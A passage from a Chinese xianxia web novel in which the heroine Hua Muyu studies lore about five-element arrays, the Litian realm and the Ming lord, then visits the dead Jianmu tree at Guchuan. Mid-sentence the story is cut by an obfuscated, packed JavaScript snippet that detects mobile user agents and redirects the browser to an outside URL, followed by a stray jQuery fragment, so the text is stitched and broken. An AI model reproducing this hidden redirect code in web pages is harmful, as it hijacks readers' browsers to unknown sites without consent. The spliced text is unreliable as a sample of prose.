这是一件很奇妙的事情,总有人试图按照当初的样子去重复做一件事以期待得到相同的结果和体验。但一期一会,明月总有,此夜难再。
花沐雨持灯,在层层楼梯之上回首。盘旋而上的灯盏照亮一方天地,亮光之外寂静无声,四处弥漫着纸质书册独有的气味。
当初不经思考办到的事,如今刻意追寻,又难觅踪迹。
花沐雨心中暗叹,来到四楼,借双化阁中提供的笔墨纸砚,将自己曾于无字书中读到的和在忘川上听到的,凭借记忆,尽可能地默了下来。
默完,呆看了半晌,将笔墨收好,写了字的纸收在怀里,又来到了七层。
既然已经来了,虽然没能再次踏入那个阵法、再次看到那封手信,或者再问些别的,但是还是有东西可以查的。
比如逆转五行的阵法可以做到什么,比如离天境是哪里,离天境又有什么她不知道的圣人,无字书是什么,是否有据可查,忘川上的摆渡人是谁,她为什么会听到那阵诵念。
再比如,她还要查一查五行灵物,如何获取,以及是否有何种物品可以替代。
此外,一些细枝末节的,冥主兵解,神兽獬豸所在何处,幽冥中是否有彼岸花化作灵物。
如此等等,这段时间,悬在花沐雨心头的疑问太多了。
一淡翻起书来,时间便过得很快。花沐雨感觉时间只过去了不久,但等她再抬头时,双化阁中的滴漏已经滴到了丑时。
她合上书本,拿起自己一边翻书一边摘抄记录下来的信息,从头回顾了一遍。
其实五行的相生相克,是法修中一切阵法运转的基础。现今法修很少如此简单地只用五行来布阵,中间千门万法,各式超出五行外,不胜枚举。四方阵之奇,便在于它利用最基础的五行相生相克。简单,却如太阳东升西落般颠扑不破,搭建起如天地般牢不可破的规则。甚至最开始修士另辟凌虚界,也是运用了类似的法门。
为什么当初凌虚界与神仙界一战被称为“辟界之战”,或许可以从此窥见一斑。
书中并没有记载,但花沐雨有了个猜想。
五行相生,首尾相连,自成一圆;五行相克,相生的能量转为相克,其中产生的破坏的能量,是不是也可以撕毁这个圆?
花沐雨不太熟悉法修的修炼,她尝试在五指上分别分离和聚集不同属性的灵力,勉强聚起一点,要想施加逆转,却无论如何都不成了。
她并不气馁,想着有机会要向燃灯请教些法修的法门,希望到时候燃灯不要怪她也把知识学杂了才好。
除此之外,关于离天境,她也在犄角旮旯里翻到了一些信息。
自三千年前大荒群圣销声匿迹,廑唒修王道,于主从山飞升,自封天帝,据守东天。其后有大修行者午焘,虽修逍遥道,证道蜉蝣山,却拜入廑唒麾下。又若干年后,戚拓修慈悲道,海纳海证道,然其虽自封佛祖、据守西天,仍与天帝交好,不言明中隐隐以其为首。如此东天一家独大,王道亦成修行之主流,故修王道者多。
如此蹉跎一千五百年,三界格局既成。上有东天西天,是谓神仙界;中有凡人并未得道之修者,是谓人间界;下有魑魅魍魉草木人禽轮回之所,是谓幽冥界。其中,人间的修行者合力另辟一居所,山河皆为人间镜像,即是如今的凌虚界。
除却东西天之外,上界还有西北离天境和东南归天境。据传,离天境原是神罚之地,终年苦寒,生灵难入。而不知几百年前,有一不知何处来的修士,姓名已不可考,引动天道,号令离天境三百里从此不内风雪、四季如春,平地起雕梁画栋,并在此隐居,世人称其春霄宫中春意浓。
花沐雨之前倒不知道,听起来是个暖融融的名字,偏又有点暧昧。若无字书中所说的离天境真是此处,那“圣人”,就是指那个不可考的修士吗?
真的有这样一个修士吗?到底是什么样的修士,能与神仙比肩,又被称为圣人,却全无一丝记载呢?
看过这一行,花沐雨的目光往下面的“归天境”上扫过。
东南归天境,原为东方弥合天。东方弥合天又称星乱之所,有两万两千五百六十九颗背乱之星,无规矩而行,天帝整饬后,空置许久。后有人皇陈沽游荡到此,将此收服,取名为归天境。
人皇在时,人间鼎盛。只是随着人皇遁入空门,归天境也荒芜了。
堂堂人皇,也不知为何竟会遁入空门。花沐雨在纸页上敲了敲。
五行灵物倒并不是只能用四方阵建立之初所使用的那五样。灵物大多有五行之属,严格来说,每种灵物都可算作五行灵物之一。只是弱水息壤建木精金和南冥离火都是五行之中绝顶的材料,若是要产生逆转他们的灵力,恐怕不是寻常灵物可以做到。
别的不说,还是得先去鸪川和弱水神宫看看。花沐雨心中暗想。息壤和南冥离火都在别的门派内部,只有这两样还相对比较容易接近,还不容易叫人察觉。
此外,关于冥主,她也查到了一些消息。
据传,冥主本名里都,是大荒群圣时代的未亡之神。他的法宝便是魂灵簿,久居幽冥。那时各番魂灵的轮回转世大多直靠功德或灵气,并不需要幽冥一界来专门处理此事,里都也只是幽冥一界之主而已。
天帝证道伊始,正当上古众神末世。未亡之神里都,见天帝证道自封,便说:“君王天下,不王我。”仍自居幽冥。其后里都身殒,他座下的神兽獬豸也随之沉睡,神躯长眠阎罗殿底。
一番查完,花沐雨将这几页纸同样收好,心中有了些成算。
又看了眼滴漏,仍在丑时未过。她想着,索性趁今夜,再去鸪川一趟。
今夜月明,照得山河雪亮。
花沐雨隐蔽地御剑而来,在鸪川外围便落脚。
鸪川生灵绝迹,据说自鸪川之主女容受天道惩罚陨落后便沾染着不详,她这也是第一次来。
她收了剑,环顾四周,先将此地打量了一番。
鸪川原本多为妖灵聚居,占地辽阔,巨树参天,生灵无数。而今花沐雨站在密林之外,听不见一丝虫鸣兽语。草木依然,但却奇异地令人感受不到一点充沛的生机,所能触碰到的,只有无边的沉寂。
早在来时,花沐雨便在空中看到了鸪川当中密林深处那一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16300950|182691||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
棵巨大无比的枯树。
御剑在半空中看,那枯树早已枯朽倒折,四周焦黑一片,寸草不生,是无边密林中一块不毛之地。
即便已经倒折,那树仍醒目无比,仅看残骸,便可以想象在它仍焕发生机时应当是何等景象。
不用说明,花沐雨便知道,那棵倒折的树,便是昔日鸪川之主有容的本体,早已枯朽的上古建木。
有了这样一个显著的目标,花沐雨略分辨了一下方向,便试探着向林中走去。
她不曾发现,在她踏入林中的那一刻,有一点荧光透过衣服飞出了她的肩头。那点荧光太微茫了,在空中甚至不及一闪,便消失不见。
从空中看时离得不远,实际走起来,即便以花沐雨的脚程,还有意加快了步伐,仍是花了许久才来到密林中心。
这里太过静谧,花沐雨不自觉地收敛气息、放轻了脚步。
前方草木逐渐稀疏,可以看到一些漆黑的轮廓。花沐雨知道,枯朽的建木就在前方。
这一路走来,半点动物的影子都没见到。花沐雨心中始终绷着一根弦,提防着可能有的变故,但周围始终一片死寂,简直比在幽冥时还叫她感到荒芜。
眉头不知不觉皱起,花沐雨小心谨慎,终于来到建木附近。
在近处仰头看去,早已折断的建木横倒在密林上方,树冠早已在密林中无从寻觅,剩下的半截树干,仍旧一眼望不到尽头,横粗宛如平地高楼。
以横倒的树木为中心,一片焦黑泥泞的不毛之地蔓延开来。
忘川上摆渡的船家为何来让我来鸪川……看着眼前的焦黑,花沐雨思索着。要去里面看看吗?
她皱眉,直觉不想踏足,尝试性地伸出手,掌心化出一颗萤石,任它落在焦黑的泥土上。
萤石落地,宛如细雪落入岩浆,又好似火星溅在雪地,无声无息地便消失在地面的焦黑中。
花沐雨呼出一口气,又将剑化在空中,招手飞剑。雪白的灵剑向建木射去,却在离开焦黑的边缘后不远,便同样无声无息地消融在空气中。
估算了一下灵剑消失的距离,又用几块萤石估算了一下他们消失的速度,花沐雨心中有了计较。
恐怕这片焦黑的土壤确实是受了天道的压制,任何有灵气的东西进去都会被慢慢消解。
雄伟的建木倾折,恐怕也只有这样经年累月的腐蚀,才能彻底消解上古神木的灵气。
那我要进去看看吗?花沐雨思索着。若她御剑入内,趁一把剑被吞噬之时化出另一把,如此交替,或许可以凑近一看。
只是她不知道人踏进那个范围会如何,人的灵气被吞噬的速度是否和灵剑、萤石一样,以及在其中是否可以持续吐纳灵气——她估计是不能的。只是以她目前的灵力能坚持多久,还要亲自试一试。
正这样想着,忽听侧方传来细碎的动静。
花沐雨心中一动。
出于谨慎,她本就将身形掩映在边缘的草木中,加之她站在原地未动,又收敛了气息,倒是没叫人发现。
花沐雨悄然矮下身形,等了片刻,果见一道黑影出现在侧方。